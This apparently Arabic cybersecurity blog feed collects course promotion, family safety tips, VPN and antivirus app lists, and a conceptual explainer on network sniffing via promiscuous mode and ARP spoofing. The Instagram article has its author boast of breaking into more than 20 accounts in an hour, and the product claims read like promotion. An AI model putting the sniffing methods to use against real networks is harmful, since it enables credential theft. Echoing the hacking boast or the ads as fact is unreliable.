من خلال هذا المحور ستتعرف على تقنيات الهندسة الاجتماعية بما في ذلك هجمات التصيد الاحتيالي وتدقيق الحماية على مستوى العنصر البشري والتوعية الأمنية والإجراءات المضادة

10- Denial of Service

من خلال هذا المحور ستتعرف على هجمات منع الخدمة DoS ومنع الخدمة الموزعة DDoS بالإضافة للأدوات المستخدمة لتدقيق الحماية الخاصة بهذا النوع من الهجمات وإجراءات الحماية

11- Session Hijacking

من خلال هذا المحور ستتعرف على التقنيات المختلفة لسرقة الجلسة واكتشاف الجلسات النشطة على مستوى الشبكة واكتشاف عمليات المصادقة والتفويض ونقاط الضعف في عمليات التشفير المرتبطة بها بالإضافة للإجراءات المضادة وطرق الحماية

12- Evading IDS, Firewall, and Honeypots

من خلال هذا المحور ستتعرف على أنظمة الحماية كالجدران النارية وأنظمة كشف الاختراق IDS وتقنيات تجاوز الحماية المطبقة والأدوات المستخدمة لتدقيق الحماية في محيط الشبكة بحثاً عن الثغرات ونقاط الضعف بالإضافة للإجراءات المضادة

13- Hacking Web Servers

من خلال هذا المحور ستتعرف على الهجمات الخاصة ضد سيرفرات الويب بما في ذلك منهجية الهجوم المستخدمة لتدقيق نقاط الضعف في البنى التحتية لسيرفرات الويب والإجراءات المضادة

14- Hacking Web Application

من خلال هذا المحور ستتعرف على الهجمات الخاصة بتطبيقات الويب بما في ذلك المنهجية الخاصة باختبار اختراق تطبيقات الويب والمستخدمة لتدقيق نقاط الضعف والإجراءات المضادة

15- SQL Injection

من خلال هذا المحور ستتعرف على هجمات حقن تعليمات قواعد البيانات وتقنيات تجاوز الفلترة والحماية المطبقة وطرق الحماية والإجراءات المضادة

16- Hacking Wireless Networks

من خلال هذا المحور ستتعرف على الأنواع المختلفة للتشفير والتهديدات الخاصة بالشبكات اللاسلكية والمنهجيات والأدوات المستخدمة في الهجمات مع أدوات التدقيق والحماية والإجراءات المضادة

17- Hacking Mobile Platforms

من خلال هذا المحور ستتعرف على الهجمات الخاصة ضد أجهزة الموبايل التي تعمل بأنظمة Android or IOS وإرشادات وأدوات الحماية والأمان

18- IoT Hacking

من خلال هذا المحور ستتعرف على الأنواع المختلفة للهجمات الخاصة بأجهزة انترنت الأشياء IoT – Internet of Things ومنهجيات وأدوات الهجوم وطرق الحماية والإجراءات المضادة

19- Cloud Computing

من خلال هذا المحور ستتعرف على الحوسبة السحابية والتقنيات الخاصة بها بالإضافة للتهديدات المتنوعة والهجمات وتقنيات وأدوات الحماية الخاصة بها

20- Cryptography

من خلال هذا المحور ستتعرف على خوارزميات التشفير المختلفة والبنية التحتية للمفتاح العام PKI والتشفير الخاص بالبريد الالكتروني والهجمات على تقنيات التشفير وأدوات التحليل المختلفة

ما هي الوظائف المتاحة بعد هذا التدريب؟

اكتسابك للمهارات السابقة يفتح الباب لك لأكثر من 20 تسمية وظيفية مختلفة وهي:

Mid-Level Information Security Auditor
Cybersecurity Auditor
Security Administrator
IT Security Administrator
Cyber Defense Analyst
Vulnerability Assessment Analyst
Warning Analyst
Information Security Analyst 1
Security Analyst L1
Infosec Security Administrator
Cybersecurity Analyst level 1, level 2, & level 3
Network Security Engineer
SOC Security Analyst
Security Analyst
Network Engineer
Senior Security Consultant
Information Security Manager
Senior SOC Analyst
Solution Architect
Cybersecurity Consultant

كيف أبدأ التدريب؟

للدخول لهذه الدورة يجب أن تملك معرفة بأساسيات أنظمة التشغيل والشبكات، في حال كنت لا تملك هذه المهارات ننصحك بالبداية بدورة Cyber Ops والتي تعتبر أسرع وأقوى دورة للدخول لهذا المجال ومن خلالها ستتعرف على أساسيات شبكات الحاسب وأجهزة الشبكة وأجهزة وتقنيات الحماية وأساسيات الحماية والهجمات الرقمية وأنظمة التشغيل (كالي لينكس) وأساسيات التشفير والويب وقواعد البيانات

إذا كنت تمتلك هذه المهارات بشكل مسبق يمكنك البدء من خلال “دورة الهاكر الأخلاقي“

للمزيد من المعلومات

العودة للمدارس ونصائح الأمن السيبراني

Sun, 04 Sep 2022 07:53:42 GMT

يستغل المحتالون موسم العودة إلى المدارس لاستهداف الآباء والطلاب والمعلمين بالحيل والتصيد. لحماية عائلتك: احذر رسائل الجوائز والقسائم المزيفة وتسوّق من مواقع موثوقة، واستخدم كلمات مرور قوية وفريدة، وحدّث الأنظمة وثبّت حل حماية يحمي كاميرا الويب، وراجع التطبيقات المدرسية قبل تنزيلها، وعلّم أطفالك ألا يشاركوا معلوماتهم مع الغرباء.

بينما يستعد الأطفال من جميع الأعمار للعودة إلى الفصل الدراسي، يتوق الأوغاد الرقميون إلى الاستفادة من هذا الوقت المزدحم من خلال استهداف الآباء والطلاب والمعلمين بالحيل من جميع الأنواع

نحن جميعاً أهداف للمهاجمين ولصوص الهوية الذين يهدفون إلى إلحاق الضرر بحياتنا الرقمية والمالية ويسعون لاختراق الأجهزة للوصول إلى شبكات المدارس

يجب أن تكون حماية البيانات الشخصية لك ولأطفالك أولوية قصوى في هذا العام الدراسي، حيث يستمر النشاط الخبيث عبر الإنترنت في تهديد سلامة وخصوصية المستخدمين

سواء كانت عودة أطفالك بشكل فعلي إلى المدرسة أو كان خياركم متابعة التعلم عن بعد من المنزل، فمن المهم جداً التعرف على أفضل الممارسات عبر الإنترنت لضمان العودة الآمنة إلى المدرسة

دعنا نلقي نظرة على بعض النصائح الرئيسية للأمن السيبراني مع بدء الدراسة لهذا العام:

احترس من عمليات الخداع التقليدية في التسوق وخاصة أثناء العودة إلى المدرسة ومحاولات التصيد الأخرى المتعلقة بالمدرسة و إذا كنت تشارك في بعض عمليات التسوق عبر الإنترنت في اللحظة الأخيرة لمستلزمات المدرسة فكن أكثر يقظة تجاه رسائل البريد الإلكتروني غير المرغوب فيها التي تدعي أنك ربحت أي سلع أو قسائم أو أجهزة ذكية خاصة بالعودة إلى المدرسة و استخدم فقط مواقع الويب الموثوقة للتسوق واستخدام VPN لحماية معلوماتك المالية من عمليات التطفل على الشبكة
تدرب على استخدام كلمات السر القوية والآمنة وتأكد من أن أجهزتك وحساباتك المدرسية تم إعدادها باستخدام كلمات سر قوية وفريدة من نوعها، لتسهيل عملية إدارة كلمات السر يمكنك استخدام تطبيق مدير كلمات السر
تأكد من أن الأجهزة الذكية الخاصة بك أنت وأطفالك محمية بكلمة سر وقم بتوجيه أطفالك إلى عدم ترك أجهزة الحاسب المحمولة والهواتف الذكية الخاصة بهم دون مراقبة أو بدون كلمة سر، يمكن للمحتالين وغيرهم من المهاجمين استغلال هذا الأمر والوصول إلى البيانات الحساسة
حافظ على تحديث الأنظمة في جميع الأوقات وقم بتثبيت واستخدام أحد حلول الحماية الموثوقة على أجهزتك لضمان عدم تثبيت برامج ضارة عن غير قصد أو الوقوع ضحية لمواقع الويب الخاصة بعمليات التصيد الاحتيالي.
قم بتثقيف الأطفال حول التواجد الإيجابي عبر الإنترنت وعدم الاستجابة للتهديدات أو التنمر عبر الإنترنت.
في وقت المدرسة هناك المزيد من مؤتمرات الفيديو واستخدام كاميرا الويب، لذا تأكد من أن حلول الأمان والحماية الخاصة بك توفر حماية لكاميرا الويب و يجب أن يضمن ذلك عدم تمكن أي برامج خبيثة أو مهاجم معين من اختطاف الكاميرا لتصويرك أنت أو أطفالك، غالباً ما يؤدي تغطية العدسة إلى منع المتطفلين عبر الإنترنت من الرؤية ولكن هذا لا يعني أنهم لن يكونوا قادرين على التنصت
ابحث عن أي تطبيقات متعلقة بالمدرسة قد ترغب أنت أو طفلك في تثبيتها على الجهاز واطلع على المراجعات وسياسة الخصوصية قبل التنزيل
علم الأطفال أن يثمنوا بياناتهم الخاصة، في بعض الأحيان لا يفصلنا عن مشاركة المعلومات الشخصية مع الغرباء سوى نقرة واحدة وتأكد من عدم إعطاء أطفالك معلومات حساسة كعنوان المنزل أو رقم الهاتف لأي شخص غريب

إذا كنت بحاجة إلى مساعدة في حماية نفسك و جميع أفراد عائلتك في هذا الموسم الدراسي فننصحك بهذه الدورة السريعة “دليل الحماية الشامل” والتي تحوي على 130 نصيحة لتساعدك أنت وأفراد عائلتك للبقاء على الجانب الآمن من شبكة الانترنت وهذا الأمر سيساعدك في توفير الحماية والمال والجهد عند التعامل مع التهديدات الإلكترونية

سلامتك على الإنترنت هي هدفنا الأساسي لذا نرجو منك متابعتنا على الفيسبوك لنساعدك في تعلم الأمور الأساسية في الأمن السيبراني بطريقة سهلة (للمستخدم العادي) بعيداً عن التعقيدات التقنية

أفضل 3 تطبيقات VPN لنظام الأندرويد

Sat, 27 Aug 2022 00:16:48 GMT

تطبيقات VPN تخفي عنوان IP ومكانك الفعلي وتحمي سجل التصفح واتصالك في الشبكات اللاسلكية العامة وتساعد على تجاوز المراقبة. أفضل ثلاثة تطبيقات لأندرويد من حيث السرعة والأمان هي ExpressVPN وCyberGhost وIPVanish، وتتميز جميعها بتشفير بدرجة عسكرية ومفتاح إيقاف تلقائي، ويمكن تحميلها من مواقعها الرسمية.

يعد امتلاك أدوات الخصوصية والأمن الرقمي المناسبة طريقة رائعة للبقاء بشكل آمن ومحمي على شبكة الانترنت ولكن الأمر الذي يجعل هذه الأدوات أكثر فاعلية هو معرفة كيفية استخدامها بالشكل الأمثل

تجمع الشبكة الخاصة الافتراضية VPN الآمنة بين الميزات التي تعزز خصوصية وأمان بياناتك الشخصية في كل مرة تتصل فيها بالإنترنت

فوائد استخدام VPN

حماية بصمتك الرقمية من خلال إخفاء عنوانك IP ومكانك الفعلي
الحفاظ على سجل التصفح الخاص بك بعيداً عن أعين الجهات الخبيثة
حماية اتصالك في الشبكات اللاسلكية العامة الغير آمنة
تأمين وحماية المعلومات الحساسة المتبادلة عبر الانترنت
تجاوز المراقبة

يعتبر تطبيق VPN المجاني من أكثر المواضيع تداول بين مستخدمي الهواتف الذكية في الدول المحظورة عامة ومستخدمي هواتف أندرويد خاصة

وذلك يعود لكثرة التطبيقات من هذا النوع اضافة إلى انتشار الشائعات حول إمكانية إختراق مستخدمي هذه التطبيقات

إليك أفضل 3 تطبيقات VPN من حيث السرعة والأمان

1. ExpressVPN

يحمي التشفير بدرجة عسكرية وسياسة صارمة لعدم الاحتفاظ بالسجلات ومفتاح القفل التلقائي المعلومات الشخصية على جهاز أندرويد الخاص بك
سرعات فائقة للبث غير المنقطع، والألعاب، والتورنت، والتصفح باستخدام جهاز أندرويد الخاص بك
أكثر من 3000 خادم في 94 دولة للوصول إلى المحتوى من جميع أنحاء العالم
5 اتصالات متزامنة للأجهزة

2. CyberGhost

خوادم مُحسَّنة من أجل البث السلس وأنشطة التورنت على جهاز أندرويد
تطبيق أندرويد سهل الاستخدام للحفاظ على بياناتك آمنة دون متاعب
تشفير من الدرجة العسكرية، وسياسة صارمة لعدم الاحتفاظ بالسجلات، ومفتاح إيقاف تلقائي للحماية القصوى على جهاز أندرويد الخاص بك

3. IPVanish

سرعات فائقة للتصفح والبث على جهاز أندرويد الخاص بك دون الحاجة إلى تخزين مؤقت
تطبيق أندرويد سهل الاستخدام مع ميزات قابلة للتخصيص لمنحك الحماية التي تحتاجها
تشفير من الدرجة العسكرية ومفتاح قفل وحماية من التسرب للحفاظ على سلامتك أثناء استخدام جهاز أندرويد

جميع التطبيقات تستطيع تحميلها من موقعها الرسمي من خلال الضغط على الاسم فقط.

عندما تتصل بالإنترنت دون استخدام شبكة خاصة افتراضية VPN يمكن تتبع كل ما تفعله على جهازك وكشفه وبالمقابل في اللحظة التي تقوم فيها بتشغيل VPN الخاص بك تتم حماية هذه المعلومات تلقائياً ولا يتم تخزينها تماماً كما يجب أن تكون

احذر من اختراق حسابك على انستغرام

Sat, 20 Aug 2022 12:37:40 GMT

يستبدل المهاجمون البريد ورقم الهاتف ويفعّلون المصادقة الثنائية على الحساب المخترق لمنع صاحبه من استعادته، وغالبًا لا يساعد انستغرام الضحايا لأنه لا يتتبع السلوك غير الطبيعي كما يفعل فيسبوك. لحماية حسابك استخدم كلمة سر قوية، وفعّل المصادقة الثنائية بتطبيق مخصص، وراجع نشاط تسجيل الدخول، وجهّز وسيلة بديلة للتواصل مع عملائك.

تصلني رسائل بشكل دائم من أشخاص يطلبون المساعدة في استعادة حساباتهم المخترقة على انستغرام، في بعض الحالات يمكن أن يكون السبب هو أخطاء من قبل هؤلاء الأشخاص كاستخدامهم كلمات سر ضعيفة يمكن تخمينها أو إعادة استخدامهم لنفس كلمة السر ضمن أكثر من حساب على شبكة الانترنت أو وقوعهم ضحايا لهجمات التصيد الاحتيالي Phishing Attack أو العديد من الهجمات وطرق الخداع الأخرى

ولكن في حالات عديدة أخرى لم يكن هناك أي أخطاء أمنية من قبل صاحب الحساب، المصادقة الثنائية كانت مفعلة ولم يتم إرتكاب أي أخطاء أو ممارسات تؤدي لاختراق الحساب

في كل الحالات لم يتمكن أصحاب الحسابات من استرجاع حساباتهم حتى بعد الإبلاغ أو التواصل مع انستغرام

أسلوب المهاجم

تعمل الجهات المنفذة لعمليات الاختراق على استبدال كافة المعلومات المرتبطة بالحساب كعنوان البريد الالكتروني ورقم الهاتف بالإضافة لاستخدام المصادقة الثنائية لمنع أي محاولة لاستعادة الحساب من قبل صاحبه الأصلي

من وجهة نظر المهاجم فإن اختراق حسابات الانستغرام هو أمر سهل جداً بالمقارنة مع اختراق حسابات الفيسبوك

على سبيل المثال: خلال ساعة واحدة فقط تمكنت من اختراق أكثر من 20 حساب من بلدان مختلفة ومن نفس الجهاز ومن نفس العنوان الشبكي IP بالمقارنة مع اختراق حسابات الفيسبوك والتي تزداد صعوبة يوماً بعد يوم ففي معظم الحالات التي احصل بها على كلمة السر الخاصة بحساب الفيسبوك للمستخدم لا أتمكن من الوصول للحساب بسهولة لأن الفيسبوك يكتشف أن هذا النشاط غير طبيعي أو أن الحساب قد تم فتحه من مكان أو جهاز جديد وفي معظم الحالات يتم قفل الحساب ويحتاج الأمر لطرق أخرى للاستمرار في هذه العملية

وفي معظم الحالات عندما أقوم بمحاولة اختراق حساب آخر سيتم منعي من الدخول إلى الفيسبوك وهذا الأمر يؤكد أن خوارزمية الفيسبوك تعمل على تتبع السلوك والنشاط الخاص بالمستخدم حيث يتم التعرف على جهازي وعنواني الشبكي IP ومنعي من القيام بهذه الأمور ، بالمقابل هذه الخوارزميات غير مطبقة في الانستغرام و بالإضافة إلى أن الانستغرام من النادر أن يساعد مستخدميه

أهمية انستغرام للشركات والأعمال

تعتمد العديد من الشركات على الانستغرام للقيام بعمليات الإعلان والتسويق وعندما نقول كلمة “تعتمد” فهذا يعني أن حسابهم ضروري لأعمالهم التجارية وتطور هذا الأمر بشكل كبير بعد جائحة كورونا فقد لجأت المطاعم إلى تحديث قوائمها وجداول حجوزاتها على حسابهم التجاري على انستغرام وبشكل مشابه للعديد من الشركات والأعمال التجارية الأخرى

أثناء البحث قبل كتابة هذا المقال وجدت بعض التقارير التي تتحدث عن مطاعم وشركات قد لجأت لدفع مبالغ مالية (فدية) لاستعادة حساباتهم المخترقة، لقد كانت هذه طريقتهم الوحيدة للقيام بذلك

الطريقة الوحيدة التي استعاد فيها بعض الأشخاص حساباتهم هي من خلال التواصل المباشر مع أصدقاء أو معارف لهم يعملون ضمن شركة Meta ومعظمنا لسنا محظوظين لهذه الدرجة ولا نملك أصدقاء مثل هؤلاء لمساعدتنا للقيام بذلك.

الأمر يزداد سوءاً فقد كشفت بعض التقارير عن حملات لهجمات تصيد احتيالي Phishing Attack تستهدف حسابات الأعمال والأشخاص المؤثرين وبعد السيطرة على هذه الحسابات يطلب منفذو هذه الهجمات مبالغ مالية كفدية للقيام بإعادة الحساب

الهجمات تزداد بوتيرة عالية وعلى نطاق واسع ومع ذلك يلتزم انستغرام بالصمت تجاه هذا الأمر

ما الذي يمكننا فعله حيال ذلك؟

إذا كان عملك يعتمد بشكل كبير على الانستغرام ولا تستطيع الانتقال لخدمات أخرى مماثلة مثل:

وإن لم يتم اختراق حسابك حتى هذه اللحظة فمن الأفضل أن لا تنتظر هذه اللحظة بل استعد لها من الآن لأنه لا يمكن الوثوق بالإنستغرام وابدأ باتخاذ بعض الإجراءات الوقائية التي تساعدك على منع حدوث ذلك أو التخفيف من الضرر في حال وقوعه:

تأكد من استخدامك لكلمات سر قوية، لا تحوي على معلوماتك الشخصية كرقم هاتفك أو تاريخ ميلادك أو اسم حيوانك الأليف أو أي معلومات أخرى متعلقة بك يمكن للمهاجم الحصول عليها
تأكد من تفعيل المصادقة الثنائية من خلال استخدام أكثر من طريقة عبر رسائل SMS (يمكن للمهاجم الحصول على هذا الرمز في حال تمكن من اختراق جهازك) أو من خلال تطبيقات مخصصة لهذه العملية مثل Microsoft Authenticator وGoogle Authenticator وDuo Mobile
في حال كان نشاطك التجاري يعتمد على الانستغرام فيجب أن تجد طريقة بديلة بشكل استباقي لتتمكن من التواصل مع عملائك في حال تم اختراق حسابك ولم تتمكن من استعادته، يمكن أن تحصل على عناوين البريد الالكتروني لعملائك من خلال طلب تسجيل على خدمة معينة تطلب من العملاء إدخال عنوان بريدهم الالكتروني
تعلم أساسيات الأمن السيبراني (في يومنا الحالي أصبح الأمن السيبراني حاجة وليس رفاهية) من الضروري لك كمستخدم عادي أن تتعلم أساسيات الأمن السيبراني، لا أقصد هنا تعلم الأمور التقنية المعقدة ولكن يكفي الاطلاع على أساليب المهاجمين وطرق الخداع وطرق الحماية الأساسية وهذا الأمر يمكنك الحصول عليه بشكل سريع من خلال دورة “دليل الحماية الشامل” والتي تتضمن 130 نصيحة للحماية والأمان على شبكة الانترنت

لنفرض أنك لم تتبع النصائح السابقة، فأنا متأكد من أنه سيتم اختراق حسابك وما هي إلا مسألة وقت ليتم ذلك (احذر من هذا الأمر قد أكون أنا من يفعل ذلك)

نصائح الحماية

في النهاية إليك بعض النصائح لتتمكن من تقييم وضع الحماية الخاص بحسابك:

قم بالدخول إلى الإعدادات – الأمان – نشاط تسجيل الدخول وتأكد من الأماكن والأجهزة التي تم من خلالها تسجيل الدخول لحسابك وفي حال وجدت أي جهاز مشبوه قم بالضغط على تسجيل الخروج وتأكد من إعادة تعيين كلمة السر الخاصة بك
تأكد من إمكانية وصولك لحساب البريد الالكتروني المرتبط بحسابك وتأكد أيضاً من رقم الهاتف أنه يعمل ويمكنك الوصول له

لا يجب أن تنتظر ليتم اختراقك ابدأ الآن باتباع الملاحظات والنصائح السابقة لتحصل على خطوة استباقية للحماية ضد الهجمات والتهديدات المحتملة

أفضل 5 تطبيقات حماية لأجهزة الأندرويد

Mon, 04 Jul 2022 10:17:20 GMT

يستعرض المقال خمسة تطبيقات حماية لهواتف أندرويد: Avast Mobile Security للحماية الشاملة، وBouncer لإدارة أذونات التطبيقات، وLookout لتتبع الجهاز ومكافحة الفيروسات، وMalwarebytes للحماية من الفدية والبرمجيات الخبيثة، وNox لتنظيف الفيروسات وتحسين الأداء.

في الوقت الحاضر ، يمتلك كل شخص تقريباً هاتفاً ذكياً، إنها طريقتنا في التواصل مع العائلة والأصدقاء وزملاء العمل وحتى العالم، هواتف Android هي المفضلة لدى الكثيرين للتواصل مع المجتمع، إنها موثوقة تماماً مثل أجهزة iPhone وتوفر للمستخدم تخصيصاً غير متاح على أجهزة iPhone، هواتف Android أقل تكلفة وإذا كنت تستخدم Google لأي شيء فهي الخيار الواضح.

فيما يلي بعض من أفضل تطبيقات الأمان لمستخدمي Android، الأمان مهم سواء كنت محترفاً أمنياً وترغب في الحفاظ على بياناتك من التهديدات أو الهجمات الإلكترونية أو مجرد فرد يريد الحفاظ على خصوصية معلوماته، وبغض النظر عن نوع الهاتف الذي تختاره ، فحتى هواتف Android تحتاج إلى الحفاظ على معلوماتك الشخصية آمنة وسرية أفضل طريقة للقيام بذلك هي من خلال تثبيت تطبيق أمان على هاتف Android الخاص بك.

1. Avast Mobile Security

يوفر تطبيق Avast Mobile Security لهواتف Android العديد من الخيارات للمستخدم الذي يريد الحفاظ على أمان البيانات. إنه تطبيق أمان شامل يحمي هاتفك من التصيد والبرامج الضارة وبرامج التجسس والفيروسات الضارة مثل أحصنة طروادة. التطبيق متاح كمنتج مجاني واشتراك مدفوع في Avast Mobile. كما أنه متاح لمستخدمي أجهزة iPhone أيضًا.

تتيح ميزة مكافحة السرقة للمستخدمين أيضًا تحديد موقع هاتف Android وتتبعه والتحكم فيه عن بُعد ، حتى في حالة فقده أو سرقته. يوفر تطبيق Avast Mobile أيضًا أداة مبتكرة ، تسمى Sandbox ، تقلل من فرص وصول الفيروسات إلى جهازك. يتميز تطبيق Avast لأجهزة Android بمسح ضوئي في الوقت الفعلي ومدير كلمات مرور وأداة أمان للمتصفح. هذا التطبيق مليء بالمزيد من الميزات أيضًا. تحظى سمعتهم أيضًا باحترام كبير ولديهم الآلاف من العملاء الراضين.

2. Bouncer

يساعد تطبيق Bouncer لمستخدمي Android في التحكم في الأذونات المطلوبة من التطبيقات المختلفة التي تحاول التنزيل أو التثبيت على هاتفك. تمامًا مثل الحارس في ملهى ليلي يراقب ضيوفه المميزين ، يحمي تطبيق Bouncer أيضًا المتسللين غير المرغوب فيهم أو التهديدات الإلكترونية من التطبيقات الأخرى التي تتسلل إلى بياناتك دون إذن. تبلغ تكلفة تطبيق Android 0.99 دولارًا على متجر Google play. كل ما عليك فعله لتشغيله هو تمكينه ضمن إعدادات إمكانية الوصول بهاتف Android الخاص بك. لن يستهلك التطبيق أي عمر لبطارية هاتفك. بالإضافة إلى ذلك ، لا يخزن أو ينقل بياناتك الشخصية. باستخدام التطبيق ، لديك خيار الاحتفاظ أو إزالة أو جدولة إزالة الإذن الممنوح من أي تطبيقات تحاول الوصول إلى هاتفك للوصول إليه. ضع في اعتبارك أن تطبيق Bouncer Android هو حاليًا في شكل تجريبي. قد تتوفر ميزات أخرى في وقت لاحق.

3.Lookout

يعد تطبيق Lookout Security تطبيقاW شاملاً لأمان الهاتف المحمول ومكافحة الفيروسات لهاتفك. يعمل Lookout على حماية جهازك المحمول وبياناتك وهويتك. يتتبع التطبيق أي فيروسات وبرامج ضارة وهجمات التصيد الكامنة على هاتف Android الخاص بك. يمكن لتطبيق Lookout أيضاW تحديد موقع جهازك في حالة فقده أو سرقته. باستخدام مرشد النظام المثبت ويمكن للتطبيق التحقق من اكتشافات الروت للتأكد من أن نظام التشغيل يعمل بشكل صحيح، يأتي التطبيق كاملاً مع استعادة الهوية بالإضافة إلى ذلك يقدم تطبيق Lookout خطط تأمين ضد سرقة الهوية بقيمة مليون دولار لمن يحتاجون إلى مزيد من الحماية مثل المتخصصين في مجال الأمن

قم بعملية فحص لجهازك وسيتولى Lookout الباقي، يُصنف تطبيق Lookout كأحد أفضل تطبيقات الأمان لنظام Android نظراً لالتزامه بتقديم خدمة أفضل وهذا التطبيق حاصل على تصنيف 4.7 من 5

4. Malwarebytes

يوفر تطبيق الأمان Malwarebytes حماية متقدمة ضد البرامج الضارة وبرامج الفدية والتهديدات الإلكترونية الأخرى التي قد تؤثر على أجهزة Android، تحمي Malwarebytes جميع أجهزتك بما في ذلك جهاز الكمبيوتر الخاص بك، يكتشف ويزيل التطبيق التهديدات الإلكترونية تلقائياً ويحافظ على تشغيل جهازك بسلاسة، تأتي Malwarebytes أيضاً مع تدقيق الخصوصية لإعلامك بالتطبيقات التي تراقب كل ما تفعله ويكتشف التطبيق أيضاً برامج الفدية قبل أن تتمكن من قفل جهازك ويمنح المستخدم حماية في الوقت الفعلي تحمي الجهاز من الإصابة بالبرمجيات الخبيثة، تقوم Malwarebytes بتنفيذ أكثر من 90.000 عملية تثبيت كل يوم وتفحص أكثر من 200 مليون تطبيق Malwarebytes كل شهر وتكتشف أو تحظر أكثر من 20 مليون تهديد كل يوم.

هناك العديد من الخطط للاختيار من بينها تتضمن أنواعاً عديدة من الميزات المصممة لإرضاء كل نوع من المستخدمين وتلبية احتياجاتهم الشخصية، يجب أن يكون لدى مستخدم Android إصدار Android 6.0 على الأقل أو إصدار أحدث حتى يعمل.

5. Nox

يقدم تطبيق الأمان Nox العديد من الميزات فهو يوفر الأمان للمستخدم من خلال القيام بعمليات تنظيف مجانية للفيروسات بالإضافة لمُعزِّز للذاكرة كما يوفر التطبيق أيضاً موفراً للبطارية ومبرد لوحدة المعالجة المركزية وتدابير أمان الشبكة اللاسلكية WiFi لجميع أجهزة Android، يعمل مبرد وحدة المعالجة المركزية على حماية جهازك من الحرارة الزائدة بالإضافة إلى ذلك يمنع موفر البطارية التطبيقات الأخرى على هاتفك من استنزاف عمر البطارية.

التطبيق حاصل أيضاً على تقييم 4.4 من أصل 5.

التقاط حزم البيانات عبر الشبكة – Network Sniffing

Fri, 01 Jul 2022 10:18:28 GMT

التقاط حزم البيانات (Network Sniffing) هو مراقبة كل الحزم المارة عبر الشبكة ببرامج أو أجهزة. يسهل ذلك في الشبكات المعتمدة على Hub، أما في شبكات السويتش فيتلاعب المهاجم بعمل السويتش عبر ARP Spoofing أو MAC Flooding، ويشغّل كرت الشبكة بنمط promiscuous mode ليلتقط كلمات السر وبيانات البروتوكولات.

هذه العملية تتم من خلال مراقبة وإلتقاط كل حزم البيانات التي تمر عبر الشبكة باستخدام تطبيقات (برامج) أو أجهزة Hardware Device.

عملية إلتقاط حزم البيانات تتم بشكل سلسل في الشبكات التي تعتمد على أجهزة Hub كون هذا النوع من الأجهزة يقوم بتمرير حزم البيانات لكل الأجهزة المتصلة به، معظم الشبكات في يومنا الحالي تعتمد على أجهزة السويتش والتي تعمل من خلال الاعتماد على عناوين MAC للأجهزة المتصلة وكل فريم يتم تمريره فقط عبر المنفذ المتصل من خلاله الجهاز الذي يملك عنوان MAC للجهاز الهدف.

المهاجم يجب أن يتلاعب بآلية عمل السويتش ليتمكن من رؤية كل حركة البيانات التي تمر من خلاله، لأن أدوات إلتقاط حزم البيانات يمكنها فقط إلتقاط حركة البيانات الخاصة بشبكة فرعية معينة subnet ولا يمكنها إلتقاط حزم البيانات من شبكات أخرى، لنفرض أن المهاجم تمكن من وصل جهازه مع الشبكة وعندها يمكنه العمل بنمط promiscuous mode وهذا يسمح له بإلتقاط وتحليل كل حركة البيانات عبر الشبكة.

بالرغم من أن معظم الشبكات في يومنا الحالي تعمل بالاعتماد على أجهزة السويتش ولكن مازالت آلية إلتقاط حزم البيانات مفيدة حيث يمكن للمهاجم أن يقوم بتنصيب برامج على الأجهزة التي تمر من خلالها حركة بيانات كبيرة مثل السيرفرات أو أجهزة الراوتر وهذه البرامج يتم التحكم بها من عند بعد وتعمل على إلتقاط حزم البيانات وهذا يسمح للمهاجم بالحصول على حزم البيانات التي تحوي على معلومات حساسة ككلمات السر وحركة البيانات الخاصة بإعدادات أجهزة الشبكة

يمكن للمهاجم رؤية حركة البيانات الخاصة بالبرتوكولات

وسيحصل المهاجم على كمية معلومات كبيرة تسمح له لاحقاً باختراق كامل الخدمات عبر الشبكة، الشكل التالي يوضح عملية إلتقاط حزم البيانات من قبل المهاجم بين أجهزة المستخدمين

كيف تتم عملية التقاط حزم البيانات

الطريقة الأكثر شيوعاً لإلتقاط حزم البيانات تتم عبر الاتصال السلكي مع الشبكة، الأجهزة ضمن الشبكة تتصل مع بعضها من خلال نوعين من العناوين MAC and IP

عنوان MAC هو عنوان فريد مرتبط بكرت الشبكة NIC والبرتوكول Ethernet يستخدم عناوين MAC في عملية إرسال واستقبال الفريمات بين الأجهزة أما عناوين IP فتستخدم في الطبقة الثالثة لتوجيه حركة البيانات بين الأجهزة وآلية التحويل بين نظامي العنونة تتم من باستخدام البرتوكول ARP – Address Resolution Protocol

يوجد نوعين أساسيين لبيئات الشبكات السلكية وإلتقاط حزم البيانات يمكن أن يتم بكلا النوعين:

Shared Ethernet: في هذه البيئة يتم استخدام خط اتصال واحد أو من خلال جهاز hub وكل الأجهزة ستتلقى حزم البيانات التي تخص جهاز معين، فعندما يريد أحد الأجهزة (الجهاز 1) الاتصال مع جهاز آخر (الجهاز 2) يقوم بإرسال حزم البيانات لها عنوان الهدف هو عنوان MAC للجهاز 2 وعندها فإن باقي الأجهزة ضمن نفس الشبكة (الجهاز 3 – الجهاز 4) ستصلهم فريمات البيانات وستتم عملية مقارنة لعنوان MAC الخاص بالجهاز الهدف وسيتم تجاهل هذه البيانات لأنها لا تتطابق مع عناوين MAC في هذه الأجهزة ولكن الجهاز الذي يعمل على إلتقاط البيانات سوف يتجاهل هذه القاعدة وسوف يقبل كل فريمات البيانات، إلتقاط حزم البيانات في هذه البيئة من الشبكات يعتبر passive ومن الصعب اكتشافه
Switched Ethernet: في هذه البيئة يتم وصل الأجهزة عبر جهاز سويتش والذي يعمل بالاعتماد على تحديد عناوين MAC لكل جهاز مع رقم المنفذ المتصل من خلاله ليتم تسليم الفريمات فقط للجهاز الهدف وهنا لا يتم إرسال البيانات لكل الأجهزة وهذا يساعد على توفير عرض الحزمة bandwidth ويزيد من مستوى الحماية وفي حال تم ضبط كرت الشبكة ليعمل بنمط promiscuous mode للعمل على جمع وإلتقاط حزم البيانات فإنه لن يتمكن من القيام بذلك ولهذا السبب فإن بعض الأشخاص يعتقدوا بإن بنية الشبكات المعتمدة على أجهزة السويتش هي آمنة ضد آليات إلتقاط حزم البيانات ولكن هذا الاعتقاد غير صحيح.

يمكننا القول أن السويتش أكثر أماناً من جهاز ال hub

ARP Spoofing: هذا البرتوكول يعتبر stateless ويمكن لأي جهاز أن يرسل ARP reply حتى ولو أنه لم يتلقى طلب لذلك وهنا يمكن للمهاجم أن ينتحل شخصية الراوتر أو البوابة الافتراضية gateway للشبكة من خلال ARP spoofing وعندها فإن ARP cache في الجهاز الهدف سوف يحوي على مدخلات غير صحيحة بخصوص البوابة الافتراضية gateway للشبكة وكل حركة البيانات التي يجب أن تصل إلى gateway (الراوتر) ستمر عبر جهاز المهاجم الذي قام بانتحال gateway MAC
